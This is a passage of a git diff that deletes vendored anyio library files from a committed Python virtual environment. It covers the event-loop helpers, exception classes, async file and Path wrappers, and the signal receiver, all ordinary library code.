get_async_backend(asynclib_name: str | None = None) -> type[AsyncBackend]: - if asynclib_name is None: - asynclib_name = current_async_library() - if not asynclib_name: - raise NoEventLoopError( - f"Not currently running on any asynchronous event loop. " - f"Available async backends: {', '.join(get_all_backends())}" - ) - - # We use our own dict instead of sys.modules to get the already imported back-end - # class because the appropriate modules in sys.modules could potentially be only - # partially initialized - try: - return loaded_backends[asynclib_name] - except KeyError: - module = import_module(f"anyio._backends._{asynclib_name}") - loaded_backends[asynclib_name] = module.backend_class - return module.backend_class - - -def current_async_library() -> str | None: - if sniffio is None: - # If sniffio is not installed, we assume we're either running asyncio or nothing - import asyncio - - try: - asyncio.get_running_loop() - return "asyncio" - except RuntimeError: - pass - else: - try: - return sniffio.current_async_library() - except sniffio.AsyncLibraryNotFoundError: - pass - - return None - - -def set_current_async_library(asynclib_name: str | None) -> Token | None: - # no-op if sniffio is not installed - if sniffio is None: - return None - - return sniffio.current_async_library_cvar.set(asynclib_name) - - -def reset_current_async_library(token: Token | None) -> None: - if token is not None: - sniffio.current_async_library_cvar.reset(token) diff --git a/venv/Lib/site-packages/anyio/_core/_exceptions.py b/venv/Lib/site-packages/anyio/_core/_exceptions.py deleted file mode 100644 index cd6eb9b5ca82c70014fc610670a34cd076b872fe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_exceptions.py +++ /dev/null @@ -1,177 +0,0 @@ -from __future__ import annotations - -import sys -from collections.abc import Generator -from textwrap import dedent -from typing import Any - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - - -class BrokenResourceError(Exception): - """ - Raised when trying to use a resource that has been rendered unusable due to external - causes (e.g. a send stream whose peer has disconnected). - """ - - -class BrokenWorkerProcess(Exception): - """ - Raised by :meth:`~anyio.to_process.run_sync` if the worker process terminates abruptly or - otherwise misbehaves. - """ - - -class BrokenWorkerInterpreter(Exception): - """ - Raised by :meth:`~anyio.to_interpreter.run_sync` if an unexpected exception is - raised in the subinterpreter. - """ - - def __init__(self, excinfo: Any): - # This was adapted from concurrent.futures.interpreter.ExecutionFailed - msg = excinfo.formatted - if not msg: - if excinfo.type and excinfo.msg: - msg = f"{excinfo.type.__name__}: {excinfo.msg}" - else: - msg = excinfo.type.__name__ or excinfo.msg - - super().__init__(msg) - self.excinfo = excinfo - - def __str__(self) -> str: - try: - formatted = self.excinfo.errdisplay - except Exception: - return super().__str__() - else: - return dedent( - f""" - {super().__str__()} - - Uncaught in the interpreter: - - {formatted} - """.strip() - ) - - -class BusyResourceError(Exception): - """ - Raised when two tasks are trying to read from or write to the same resource - concurrently. - """ - - def __init__(self, action: str): - super().__init__(f"Another task is already {action} this resource") - - -class ClosedResourceError(Exception): - """Raised when trying to use a resource that has been closed.""" - - -class ConnectionFailed(OSError): - """ - Raised when a connection attempt fails. - - .. note:: This class inherits from :exc:`OSError` for backwards compatibility. - """ - - -def iterate_exceptions( - exception: BaseException, -) -> Generator[BaseException, None, None]: - if isinstance(exception, BaseExceptionGroup): - for exc in exception.exceptions: - yield from iterate_exceptions(exc) - else: - yield exception - - -class DelimiterNotFound(Exception): - """ - Raised during - :meth:`~anyio.streams.buffered.BufferedByteReceiveStream.receive_until` if the - maximum number of bytes has been read without the delimiter being found. - """ - - def __init__(self, max_bytes: int) -> None: - super().__init__( - f"The delimiter was not found among the first {max_bytes} bytes" - ) - - -class EndOfStream(Exception): - """ - Raised when trying to read from a stream that has been closed from the other end. - """ - - -class IncompleteRead(Exception): - """ - Raised during - :meth:`~anyio.streams.buffered.BufferedByteReceiveStream.receive_exactly` or - :meth:`~anyio.streams.buffered.BufferedByteReceiveStream.receive_until` if the - connection is closed before the requested amount of bytes has been read. - """ - - def __init__(self) -> None: - super().__init__( - "The stream was closed before the read operation could be completed" - ) - - -class TypedAttributeLookupError(LookupError): - """ - Raised by :meth:`~anyio.TypedAttributeProvider.extra` when the given typed attribute - is not found and no default value has been given. - """ - - -class WouldBlock(Exception): - """Raised by ``X_nowait`` functions if ``X()`` would block.""" - - -class NoEventLoopError(RuntimeError): - """ - Raised by several functions that require an event loop to be running in the current - thread when there is no running event loop. - - This is also raised by :func:`.from_thread.run` and :func:`.from_thread.run_sync` - if not calling from an AnyIO worker thread, and no ``token`` was passed. - """ - - -class RunFinishedError(RuntimeError): - """ - Raised by :func:`.from_thread.run` and :func:`.from_thread.run_sync` if the event - loop associated with the explicitly passed token has already finished. - """ - - def __init__(self) -> None: - super().__init__( - "The event loop associated with the given token has already finished" - ) - - -class TaskFailed(Exception): - """ - Raised when awaiting on, or attempting to access the return value of, a - :class:`.TaskHandle` that raised an exception. - """ - - -class TaskCancelled(TaskFailed): - """ - Raised when awaiting on, or attempting to access the return value of, a - :class:`.TaskHandle` that was cancelled. - """ - - -class TaskNotFinished(Exception): - """ - Raised when attempting to access the return value or exception of a - :class:`.TaskHandle` that is still pending completion. - """ diff --git a/venv/Lib/site-packages/anyio/_core/_fileio.py b/venv/Lib/site-packages/anyio/_core/_fileio.py deleted file mode 100644 index 692c754b3fd5b8a2e795d7c981b2785423161216..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_fileio.py +++ /dev/null @@ -1,960 +0,0 @@ -from __future__ import annotations - -import os -import pathlib -import sys -from collections.abc import ( - AsyncIterator, - Callable, - Iterable, - Iterator, - Sequence, -) -from dataclasses import dataclass -from functools import partial -from os import PathLike -from typing import ( - IO, - TYPE_CHECKING, - Any, - AnyStr, - ClassVar, - Final, - Generic, - TypeVar, - overload, -) - -from .. import to_thread -from ..abc import AsyncResource -from ._synchronization import CapacityLimiter - -if sys.version_info >= (3, 11): - from typing import Self -else: - from typing_extensions import Self - -if sys.version_info >= (3, 14): - from pathlib.types import PathInfo - -if TYPE_CHECKING: - from types import ModuleType - - from _typeshed import OpenBinaryMode, OpenTextMode, ReadableBuffer, WriteableBuffer -else: - ReadableBuffer = OpenBinaryMode = OpenTextMode = WriteableBuffer = object - - -T = TypeVar("T", bound="Path") - - -class AsyncFile(AsyncResource, Generic[AnyStr]): - """ - An asynchronous file object. - - This class wraps a standard file object and provides async friendly versions of the - following blocking methods (where available on the original file object): - - * read - * read1 - * readline - * readlines - * readinto - * readinto1 - * write - * writelines - * truncate - * seek - * tell - * flush - - All other methods are directly passed through. - - This class supports the asynchronous context manager protocol which closes the - underlying file at the end of the context block. - - This class also supports asynchronous iteration:: - - async with await open_file(...) as f: - async for line in f: - print(line) - """ - - def __init__( - self, fp: IO[AnyStr], *, limiter: CapacityLimiter | None = None - ) -> None: - if limiter is not None and not isinstance(limiter, CapacityLimiter): - raise TypeError( - f"limiter must be a CapacityLimiter or None, not " - f"{limiter.__class__.__name__}" - ) - - self._fp: Any = fp - self._limiter = limiter - - def __getattr__(self, name: str) -> object: - return getattr(self._fp, name) - - @property - def limiter(self) -> CapacityLimiter | None: - """The capacity limiter used by this file object, if not the global limiter.""" - return self._limiter - - @property - def wrapped(self) -> IO[AnyStr]: - """The wrapped file object.""" - return self._fp - - async def __aiter__(self) -> AsyncIterator[AnyStr]: - while True: - line = await self.readline() - if line: - yield line - else: - break - - async def aclose(self) -> None: - return await to_thread.run_sync(self._fp.close, limiter=self._limiter) - - async def read(self, size: int = -1) -> AnyStr: - return await to_thread.run_sync(self._fp.read, size, limiter=self._limiter) - - async def read1(self: AsyncFile[bytes], size: int = -1) -> bytes: - return await to_thread.run_sync(self._fp.read1, size, limiter=self._limiter) - - async def readline(self) -> AnyStr: - return await to_thread.run_sync(self._fp.readline, limiter=self._limiter) - - async def readlines(self) -> list[AnyStr]: - return await to_thread.run_sync(self._fp.readlines, limiter=self._limiter) - - async def readinto(self: AsyncFile[bytes], b: WriteableBuffer) -> int: - return await to_thread.run_sync(self._fp.readinto, b, limiter=self._limiter) - - async def readinto1(self: AsyncFile[bytes], b: WriteableBuffer) -> int: - return await to_thread.run_sync(self._fp.readinto1, b, limiter=self._limiter) - - @overload - async def write(self: AsyncFile[bytes], b: ReadableBuffer) -> int: ... - - @overload - async def write(self: AsyncFile[str], b: str) -> int: ... - - async def write(self, b: ReadableBuffer | str) -> int: - return await to_thread.run_sync(self._fp.write, b, limiter=self._limiter) - - @overload - async def writelines( - self: AsyncFile[bytes], lines: Iterable[ReadableBuffer] - ) -> None: ... - - @overload - async def writelines(self: AsyncFile[str], lines: Iterable[str]) -> None: ... - - async def writelines(self, lines: Iterable[ReadableBuffer] | Iterable[str]) -> None: - return await to_thread.run_sync( - self._fp.writelines, lines, limiter=self._limiter - ) - - async def truncate(self, size: int | None = None) -> int: - return await to_thread.run_sync(self._fp.truncate, size, limiter=self._limiter) - - async def seek(self, offset: int, whence: int | None = os.SEEK_SET) -> int: - return await to_thread.run_sync( - self._fp.seek, offset, whence, limiter=self._limiter - ) - - async def tell(self) -> int: - return await to_thread.run_sync(self._fp.tell, limiter=self._limiter) - - async def flush(self) -> None: - return await to_thread.run_sync(self._fp.flush, limiter=self._limiter) - - -@overload -async def open_file( - file: str | PathLike[str] | int, - mode: OpenBinaryMode, - buffering: int = ..., - encoding: str | None = ..., - errors: str | None = ..., - newline: str | None = ..., - closefd: bool = ..., - opener: Callable[[str, int], int] | None = ..., - *, - limiter: CapacityLimiter | None = ..., -) -> AsyncFile[bytes]: ... - - -@overload -async def open_file( - file: str | PathLike[str] | int, - mode: OpenTextMode = ..., - buffering: int = ..., - encoding: str | None = ..., - errors: str | None = ..., - newline: str | None = ..., - closefd: bool = ..., - opener: Callable[[str, int], int] | None = ..., - *, - limiter: CapacityLimiter | None = ..., -) -> AsyncFile[str]: ... - - -async def open_file( - file: str | PathLike[str] | int, - mode: str = "r", - buffering: int = -1, - encoding: str | None = None, - errors: str | None = None, - newline: str | None = None, - closefd: bool = True, - opener: Callable[[str, int], int] | None = None, - *, - limiter: CapacityLimiter | None = None, -) -> AsyncFile[Any]: - """ - Open a file asynchronously. - - Except for ``limiter``, the arguments are exactly the same as for the builtin :func:`open`. - - :param limiter: an optional capacity limiter to use with the file - instead of the default one - :return: an asynchronous file object - - .. versionchanged:: 4.14.0 - Added the ``limiter`` keyword argument. - - """ - fp = await to_thread.run_sync( - open, - file, - mode, - buffering, - encoding, - errors, - newline, - closefd, - opener, - limiter=limiter, - ) - return AsyncFile(fp, limiter=limiter) - - -def wrap_file( - file: IO[AnyStr], *, limiter: CapacityLimiter | None = None -) -> AsyncFile[AnyStr]: - """ - Wrap an existing file as an asynchronous file. - - :param file: an existing file-like object - :param limiter: an optional capacity limiter to use with the file - instead of the default one - :return: an asynchronous file object - - .. versionchanged:: 4.14.0 - Added the ``limiter`` keyword argument. - - """ - return AsyncFile(file, limiter=limiter) - - -@dataclass(eq=False) -class _PathIterator(AsyncIterator[T]): - iterator: Iterator[PathLike[str]] - limiter: CapacityLimiter | None - # This was added to ensure that iterating over a subclass of Path yields instances - # of that subclass rather than the base Path class. - path_cls: type[T] - - async def __anext__(self) -> T: - nextval = await to_thread.run_sync( - next, self.iterator, None, abandon_on_cancel=True, limiter=self.limiter - ) - if nextval is None: - raise StopAsyncIteration from None - - return self.path_cls(nextval, limiter=self.limiter) - - -class Path: - """ - An asynchronous version of :class:`pathlib.Path`. - - This class cannot be substituted for :class:`pathlib.Path` or - :class:`pathlib.PurePath`, but it is compatible with the :class:`os.PathLike` - interface. - - It implements the Python 3.10 version of :class:`pathlib.Path` interface, except for - the deprecated :meth:`~pathlib.Path.link_to` method. - - Some methods may be unavailable or have limited functionality, based on the Python - version: - - * :meth:`~pathlib.Path.copy` (available on Python 3.14 or later) - * :meth:`~pathlib.Path.copy_into` (available on Python 3.14 or later) - * :meth:`~pathlib.Path.from_uri` (available on Python 3.13 or later) - * :meth:`~pathlib.PurePath.full_match` (available on Python 3.13 or later) - * :attr:`~pathlib.Path.info` (available on Python 3.14 or later) - * :meth:`~pathlib.Path.is_junction` (available on Python 3.12 or later) - * :meth:`~pathlib.PurePath.match` (the ``case_sensitive`` parameter is only - available on Python 3.13 or later) - * :meth:`~pathlib.Path.move` (available on Python 3.14 or later) - * :meth:`~pathlib.Path.move_into` (available on Python 3.14 or later) - * :meth:`~pathlib.PurePath.relative_to` (the ``walk_up`` parameter is only available - on Python 3.12 or later) - * :meth:`~pathlib.Path.walk` (available on Python 3.12 or later) - - Any methods that do disk I/O need to be awaited on. These methods are: - - * :meth:`~pathlib.Path.absolute` - * :meth:`~pathlib.Path.chmod` - * :meth:`~pathlib.Path.cwd` - * :meth:`~pathlib.Path.exists` - * :meth:`~pathlib.Path.expanduser` - * :meth:`~pathlib.Path.group` - * :meth:`~pathlib.Path.hardlink_to` - * :meth:`~pathlib.Path.home` - * :meth:`~pathlib.Path.is_block_device` - * :meth:`~pathlib.Path.is_char_device` - * :meth:`~pathlib.Path.is_dir` - * :meth:`~pathlib.Path.is_fifo` - * :meth:`~pathlib.Path.is_file` - * :meth:`~pathlib.Path.is_junction` - * :meth:`~pathlib.Path.is_mount` - * :meth:`~pathlib.Path.is_socket` - * :meth:`~pathlib.Path.is_symlink` - * :meth:`~pathlib.Path.lchmod` - * :meth:`~pathlib.Path.lstat` - * :meth:`~pathlib.Path.mkdir` - * :meth:`~pathlib.Path.open` - * :meth:`~pathlib.Path.owner` - * :meth:`~pathlib.Path.read_bytes` - * :meth:`~pathlib.Path.read_text` - * :meth:`~pathlib.Path.readlink` - * :meth:`~pathlib.Path.rename` - * :meth:`~pathlib.Path.replace` - * :meth:`~pathlib.Path.resolve` - * :meth:`~pathlib.Path.rmdir` - * :meth:`~pathlib.Path.samefile` - * :meth:`~pathlib.Path.stat` - * :meth:`~pathlib.Path.symlink_to` - * :meth:`~pathlib.Path.touch` - * :meth:`~pathlib.Path.unlink` - * :meth:`~pathlib.Path.walk` - * :meth:`~pathlib.Path.write_bytes` - * :meth:`~pathlib.Path.write_text` - - Additionally, the following methods return an async iterator yielding - :class:`~.Path` objects: - - * :meth:`~pathlib.Path.glob` - * :meth:`~pathlib.Path.iterdir` - * :meth:`~pathlib.Path.rglob` - - .. versionchanged:: 4.14.0 - Added the ``limiter`` keyword argument. - """ - - __slots__ = "_path", "_limiter", "__weakref__" - - __weakref__: Any - - def __init__( - self, *args: str | PathLike[str], limiter: CapacityLimiter | None = None - ) -> None: - if limiter is not None and not isinstance(limiter, CapacityLimiter): - raise TypeError( - f"limiter must be a CapacityLimiter or None, not " - f"{limiter.__class__.__name__}" - ) - - self._path: Final[pathlib.Path] = pathlib.Path(*args) - self._limiter = limiter - - def __fspath__(self) -> str: - return self._path.__fspath__() - - if sys.version_info >= (3, 15): - - def __vfspath__(self) -> str: - return self._path.__vfspath__() - - def __str__(self) -> str: - return self._path.__str__() - - def __repr__(self) -> str: - return f"{self.__class__.__name__}({self.as_posix()!r})" - - def __bytes__(self) -> bytes: - return self._path.__bytes__() - - def __hash__(self) -> int: - return self._path.__hash__() - - def __eq__(self, other: object) -> bool: - target = other._path if isinstance(other, Path) else other - return self._path.__eq__(target) - - def __lt__(self, other: pathlib.PurePath | Path) -> bool: - target = other._path if isinstance(other, Path) else other - return self._path.__lt__(target) - - def __le__(self, other: pathlib.PurePath | Path) -> bool: - target = other._path if isinstance(other, Path) else other - return self._path.__le__(target) - - def __gt__(self, other: pathlib.PurePath | Path) -> bool: - target = other._path if isinstance(other, Path) else other - return self._path.__gt__(target) - - def __ge__(self, other: pathlib.PurePath | Path) -> bool: - target = other._path if isinstance(other, Path) else other - return self._path.__ge__(target) - - def __truediv__(self, other: str | PathLike[str]) -> Self: - return type(self)(self._path / other, limiter=self._limiter) - - def __rtruediv__(self, other: str | PathLike[str]) -> Self: - return type(self)(other, limiter=self._limiter) / self - - @property - def limiter(self) -> CapacityLimiter | None: - """The capacity limiter used by this path, if not the global limiter.""" - return self._limiter - - @property - def parts(self) -> tuple[str, ...]: - return self._path.parts - - @property - def drive(self) -> str: - return self._path.drive - - @property - def root(self) -> str: - return self._path.root - - @property - def anchor(self) -> str: - return self._path.anchor - - @property - def parents(self) -> Sequence[Self]: - return tuple(type(self)(p, limiter=self._limiter) for p in self._path.parents) - - @property - def parent(self) -> Self: - return type(self)(self._path.parent, limiter=self._limiter) - - @property - def name(self) -> str: - return self._path.name - - @property - def suffix(self) -> str: - return self._path.suffix - - @property - def suffixes(self) -> list[str]: - return self._path.suffixes - - @property - def stem(self) -> str: - return self._path.stem - - async def absolute(self) -> Self: - path = await to_thread.run_sync(self._path.absolute, limiter=self._limiter) - return type(self)(path, limiter=self._limiter) - - def as_posix(self) -> str: - return self._path.as_posix() - - def as_uri(self) -> str: - return self._path.as_uri() - - if sys.version_info >= (3, 13): - parser: ClassVar[ModuleType] = pathlib.Path.parser - - @classmethod - def from_uri(cls, uri: str, *, limiter: CapacityLimiter | None = None) -> Self: - return cls(pathlib.Path.from_uri(uri), limiter=limiter) - - def full_match( - self, path_pattern: str, *, case_sensitive: bool | None = None - ) -> bool: - return self._path.full_match(path_pattern, case_sensitive=case_sensitive) - - def match( - self, path_pattern: str, *, case_sensitive: bool | None = None - ) -> bool: - return self._path.match(path_pattern, case_sensitive=case_sensitive) - else: - - def match(self, path_pattern: str) -> bool: - return self._path.match(path_pattern) - - if sys.version_info >= (3, 14): - - @property - def info(self) -> PathInfo: - return self._path.info - - async def copy( - self, - target: str | os.PathLike[str], - *, - follow_symlinks: bool = True, - preserve_metadata: bool = False, - ) -> Self: - func = partial( - self._path.copy, - follow_symlinks=follow_symlinks, - preserve_metadata=preserve_metadata, - ) - return type(self)( - await to_thread.run_sync( - func, pathlib.Path(target), limiter=self._limiter - ), - limiter=self._limiter, - ) - - async def copy_into( - self, - target_dir: str | os.PathLike[str], - *, - follow_symlinks: bool = True, - preserve_metadata: bool = False, - ) -> Self: - func = partial( - self._path.copy_into, - follow_symlinks=follow_symlinks, - preserve_metadata=preserve_metadata, - ) - return type(self)( - await to_thread.run_sync( - func, pathlib.Path(target_dir), limiter=self._limiter - ), - limiter=self._limiter, - ) - - async def move(self, target: str | os.PathLike[str]) -> Self: - # Upstream does not handle anyio.Path properly as a PathLike - target = pathlib.Path(target) - return type(self)( - await to_thread.run_sync( - self._path.move, target, limiter=self._limiter - ), - limiter=self._limiter, - ) - - async def move_into( - self, - target_dir: str | os.PathLike[str], - ) -> Self: - return type(self)( - await to_thread.run_sync( - self._path.move_into, target_dir, limiter=self._limiter - ), - limiter=self._limiter, - ) - - def is_relative_to(self, other: str | PathLike[str]) -> bool: - try: - self.relative_to(other) - return True - except ValueError: - return False - - async def chmod(self, mode: int, *, follow_symlinks: bool = True) -> None: - func = partial(os.chmod, follow_symlinks=follow_symlinks) - return await to_thread.run_sync(func, self._path, mode, limiter=self._limiter) - - @classmethod - async def cwd(cls, *, limiter: CapacityLimiter | None = None) -> Self: - path = await to_thread.run_sync(pathlib.Path.cwd, limiter=limiter) - return cls(path, limiter=limiter) - - async def exists(self) -> bool: - return await to_thread.run_sync( - self._path.exists, abandon_on_cancel=True, limiter=self._limiter - ) - - async def expanduser(self) -> Self: - return type(self)( - await to_thread.run_sync( - self._path.expanduser, abandon_on_cancel=True, limiter=self._limiter - ), - limiter=self._limiter, - ) - - if sys.version_info < (3, 12): - # Python 3.11 and earlier - def glob(self, pattern: str) -> AsyncIterator[Self]: - gen = self._path.glob(pattern) - return _PathIterator(gen, self._limiter, type(self)) - elif (3, 12) <= sys.version_info < (3, 13): - # changed in Python 3.12: - # - The case_sensitive parameter was added. - def glob( - self, - pattern: str, - *, - case_sensitive: bool | None = None, - ) -> AsyncIterator[Self]: - gen = self._path.glob(pattern, case_sensitive=case_sensitive) - return _PathIterator(gen, self._limiter, type(self)) - elif sys.version_info >= (3, 13): - # Changed in Python 3.13: - # - The recurse_symlinks parameter was added. - # - The pattern parameter accepts a path-like object. - def glob( # type: ignore[misc] # mypy doesn't allow for differing signatures in a conditional block - self, - pattern: str | PathLike[str], - *, - case_sensitive: bool | None = None, - recurse_symlinks: bool = False, - ) -> AsyncIterator[Self]: - gen = self._path.glob( - pattern, # type: ignore[arg-type] - case_sensitive=case_sensitive, - recurse_symlinks=recurse_symlinks, - ) - return _PathIterator(gen, self._limiter, type(self)) - - async def group(self) -> str: - return await to_thread.run_sync( - self._path.group, abandon_on_cancel=True, limiter=self._limiter - ) - - async def hardlink_to( - self, target: str | bytes | PathLike[str] | PathLike[bytes] - ) -> None: - if isinstance(target, Path): - target = target._path - - await to_thread.run_sync(os.link, target, self, limiter=self._limiter) - - @classmethod - async def home(cls, *, limiter: CapacityLimiter | None = None) -> Self: - home_path = await to_thread.run_sync(pathlib.Path.home, limiter=limiter) - return cls(home_path, limiter=limiter) - - def is_absolute(self) -> bool: - return self._path.is_absolute() - - async def is_block_device(self) -> bool: - return await to_thread.run_sync( - self._path.is_block_device, abandon_on_cancel=True, limiter=self._limiter - ) - - async def is_char_device(self) -> bool: - return await to_thread.run_sync( - self._path.is_char_device, abandon_on_cancel=True, limiter=self._limiter - ) - - async def is_dir(self) -> bool: - return await to_thread.run_sync( - self._path.is_dir, abandon_on_cancel=True, limiter=self._limiter - ) - - async def is_fifo(self) -> bool: - return await to_thread.run_sync( - self._path.is_fifo, abandon_on_cancel=True, limiter=self._limiter - ) - - async def is_file(self) -> bool: - return await to_thread.run_sync( - self._path.is_file, abandon_on_cancel=True, limiter=self._limiter - ) - - if sys.version_info >= (3, 12): - - async def is_junction(self) -> bool: - return await to_thread.run_sync( - self._path.is_junction, limiter=self._limiter - ) - - async def is_mount(self) -> bool: - return await to_thread.run_sync( - os.path.ismount, self._path, abandon_on_cancel=True, limiter=self._limiter - ) - - if sys.version_info < (3, 15): - - def is_reserved(self) -> bool: - return self._path.is_reserved() - - async def is_socket(self) -> bool: - return await to_thread.run_sync( - self._path.is_socket, abandon_on_cancel=True, limiter=self._limiter - ) - - async def is_symlink(self) -> bool: - return await to_thread.run_sync( - self._path.is_symlink, abandon_on_cancel=True, limiter=self._limiter - ) - - async def iterdir(self) -> AsyncIterator[Self]: - gen = ( - self._path.iterdir() - if sys.version_info < (3, 13) - else await to_thread.run_sync( - self._path.iterdir, abandon_on_cancel=True, limiter=self._limiter - ) - ) - async for path in _PathIterator(gen, self._limiter, type(self)): - yield path - - def joinpath(self, *args: str | PathLike[str]) -> Self: - return type(self)(self._path.joinpath(*args), limiter=self._limiter) - - async def lchmod(self, mode: int) -> None: - await to_thread.run_sync(self._path.lchmod, mode, limiter=self._limiter) - - async def lstat(self) -> os.stat_result: - return await to_thread.run_sync( - self._path.lstat, abandon_on_cancel=True, limiter=self._limiter - ) - - async def mkdir( - self, mode: int = 0o777, parents: bool = False, exist_ok: bool = False - ) -> None: - await to_thread.run_sync( - self._path.mkdir, mode, parents, exist_ok, limiter=self._limiter - ) - - @overload - async def open( - self, - mode: OpenBinaryMode, - buffering: int = ..., - encoding: str | None = ..., - errors: str | None = ..., - newline: str | None = ..., - ) -> AsyncFile[bytes]: ... - - @overload - async def open( - self, - mode: OpenTextMode = ..., - buffering: int = ..., - encoding: str | None = ..., - errors: str | None = ..., - newline: str | None = ..., - ) -> AsyncFile[str]: ... - - async def open( - self, - mode: str = "r", - buffering: int = -1, - encoding: str | None = None, - errors: str | None = None, - newline: str | None = None, - ) -> AsyncFile[Any]: - fp = await to_thread.run_sync( - self._path.open, - mode, - buffering, - encoding, - errors, - newline, - limiter=self._limiter, - ) - return AsyncFile(fp, limiter=self._limiter) - - async def owner(self) -> str: - return await to_thread.run_sync( - self._path.owner, abandon_on_cancel=True, limiter=self._limiter - ) - - async def read_bytes(self) -> bytes: - return await to_thread.run_sync(self._path.read_bytes, limiter=self._limiter) - - async def read_text( - self, encoding: str | None = None, errors: str | None = None - ) -> str: - return await to_thread.run_sync( - self._path.read_text, encoding, errors, limiter=self._limiter - ) - - if sys.version_info >= (3, 12): - - def relative_to( - self, *other: str | PathLike[str], walk_up: bool = False - ) -> Self: - # relative_to() should work with any PathLike but it doesn't - others = [pathlib.Path(other) for other in other] - return type(self)( - self._path.relative_to(*others, walk_up=walk_up), limiter=self._limiter - ) - - else: - - def relative_to(self, *other: str | PathLike[str]) -> Self: - return type(self)(self._path.relative_to(*other), limiter=self._limiter) - - async def readlink(self) -> Self: - target = await to_thread.run_sync( - os.readlink, self._path, limiter=self._limiter - ) - return type(self)(target, limiter=self._limiter) - - async def rename(self, target: str | pathlib.PurePath | Path) -> Self: - if isinstance(target, Path): - target = target._path - - await to_thread.run_sync(self._path.rename, target, limiter=self._limiter) - return type(self)(target, limiter=self._limiter) - - async def replace(self, target: str | pathlib.PurePath | Path) -> Self: - if isinstance(target, Path): - target = target._path - - await to_thread.run_sync(self._path.replace, target, limiter=self._limiter) - return type(self)(target, limiter=self._limiter) - - async def resolve(self, strict: bool = False) -> Self: - func = partial(self._path.resolve, strict=strict) - return type(self)( - await to_thread.run_sync( - func, abandon_on_cancel=True, limiter=self._limiter - ), - limiter=self._limiter, - ) - - if sys.version_info < (3, 12): - # Pre Python 3.12 - def rglob(self, pattern: str) -> AsyncIterator[Self]: - gen = self._path.rglob(pattern) - return _PathIterator(gen, self._limiter, type(self)) - elif (3, 12) <= sys.version_info < (3, 13): - # Changed in Python 3.12: - # - The case_sensitive parameter was added. - def rglob( - self, pattern: str, *, case_sensitive: bool | None = None - ) -> AsyncIterator[Self]: - gen = self._path.rglob(pattern, case_sensitive=case_sensitive) - return _PathIterator(gen, self._limiter, type(self)) - elif sys.version_info >= (3, 13): - # Changed in Python 3.13: - # - The recurse_symlinks parameter was added. - # - The pattern parameter accepts a path-like object. - def rglob( # type: ignore[misc] # mypy doesn't allow for differing signatures in a conditional block - self, - pattern: str | PathLike[str], - *, - case_sensitive: bool | None = None, - recurse_symlinks: bool = False, - ) -> AsyncIterator[Self]: - gen = self._path.rglob( - pattern, # type: ignore[arg-type] - case_sensitive=case_sensitive, - recurse_symlinks=recurse_symlinks, - ) - return _PathIterator(gen, self._limiter, type(self)) - - async def rmdir(self) -> None: - await to_thread.run_sync(self._path.rmdir, limiter=self._limiter) - - async def samefile(self, other_path: str | PathLike[str]) -> bool: - if isinstance(other_path, Path): - other_path = other_path._path - - return await to_thread.run_sync( - self._path.samefile, - other_path, - abandon_on_cancel=True, - limiter=self._limiter, - ) - - async def stat(self, *, follow_symlinks: bool = True) -> os.stat_result: - func = partial(os.stat, follow_symlinks=follow_symlinks) - return await to_thread.run_sync( - func, self._path, abandon_on_cancel=True, limiter=self._limiter - ) - - async def symlink_to( - self, - target: str | bytes | PathLike[str] | PathLike[bytes], - target_is_directory: bool = False, - ) -> None: - if isinstance(target, Path): - target = target._path - - await to_thread.run_sync( - self._path.symlink_to, target, target_is_directory, limiter=self._limiter - ) - - async def touch(self, mode: int = 0o666, exist_ok: bool = True) -> None: - await to_thread.run_sync( - self._path.touch, mode, exist_ok, limiter=self._limiter - ) - - async def unlink(self, missing_ok: bool = False) -> None: - try: - await to_thread.run_sync(self._path.unlink, limiter=self._limiter) - except FileNotFoundError: - if not missing_ok: - raise - - if sys.version_info >= (3, 12): - - async def walk( - self, - top_down: bool = True, - on_error: Callable[[OSError], object] | None = None, - follow_symlinks: bool = False, - ) -> AsyncIterator[tuple[Self, list[str], list[str]]]: - def get_next_value() -> tuple[pathlib.Path, list[str], list[str]] | None: - try: - return next(gen) - except StopIteration: - return None - - gen = self._path.walk(top_down, on_error, follow_symlinks) - while True: - value = await to_thread.run_sync(get_next_value, limiter=self._limiter) - if value is None: - return - - root, dirs, paths = value - yield type(self)(root, limiter=self._limiter), dirs, paths - - def with_name(self, name: str) -> Self: - return type(self)(self._path.with_name(name), limiter=self._limiter) - - def with_stem(self, stem: str) -> Self: - return type(self)( - self._path.with_name(stem + self._path.suffix), limiter=self._limiter - ) - - def with_suffix(self, suffix: str) -> Self: - return type(self)(self._path.with_suffix(suffix), limiter=self._limiter) - - def with_segments(self, *pathsegments: str | PathLike[str]) -> Self: - return type(self)(*pathsegments, limiter=self._limiter) - - async def write_bytes(self, data: ReadableBuffer) -> int: - return await to_thread.run_sync( - self._path.write_bytes, data, limiter=self._limiter - ) - - async def write_text( - self, - data: str, - encoding: str | None = None, - errors: str | None = None, - newline: str | None = None, - ) -> int: - return await to_thread.run_sync( - self._path.write_text, - data, - encoding, - errors, - newline, - limiter=self._limiter, - ) - - -PathLike.register(Path) diff --git a/venv/Lib/site-packages/anyio/_core/_resources.py b/venv/Lib/site-packages/anyio/_core/_resources.py deleted file mode 100644 index b9a5344aef2962670f9b305a02cd0b11f2087d2f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_resources.py +++ /dev/null @@ -1,18 +0,0 @@ -from __future__ import annotations - -from ..abc import AsyncResource -from ._tasks import CancelScope - - -async def aclose_forcefully(resource: AsyncResource) -> None: - """ - Close an asynchronous resource in a cancelled scope. - - Doing this closes the resource without waiting on anything. - - :param resource: the resource to close - - """ - with CancelScope() as scope: - scope.cancel() - await resource.aclose() diff --git a/venv/Lib/site-packages/anyio/_core/_signals.py b/venv/Lib/site-packages/anyio/_core/_signals.py deleted file mode 100644 index e24c79e10d4b76775679f7dd0dbe3f5860150451..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/_core/_signals.py +++ /dev/null @@ -1,29 +0,0 @@ -from __future__ import annotations - -from collections.abc import AsyncIterator -from contextlib import AbstractContextManager -from signal import Signals - -from ._eventloop import get_async_backend - - -def open_signal_receiver( - *signals: Signals, -) -> AbstractContextManager[AsyncIterator[Signals]]: - """ - Start receiving operating system signals. - - :param signals: signals to receive (e.g. ``signal.SIGINT``) - :return: an asynchronous context manager for an asynchronous iterator which yields - signal numbers - :raises NoEventLoopError: if no supported asynchronous event loop is running in the - current thread - - .. warning:: Windows does not support signals natively so it is best to avoid - relying on this in cross-platform applications. - - .. warning:: On asyncio, this permanently replaces any previous signal handler 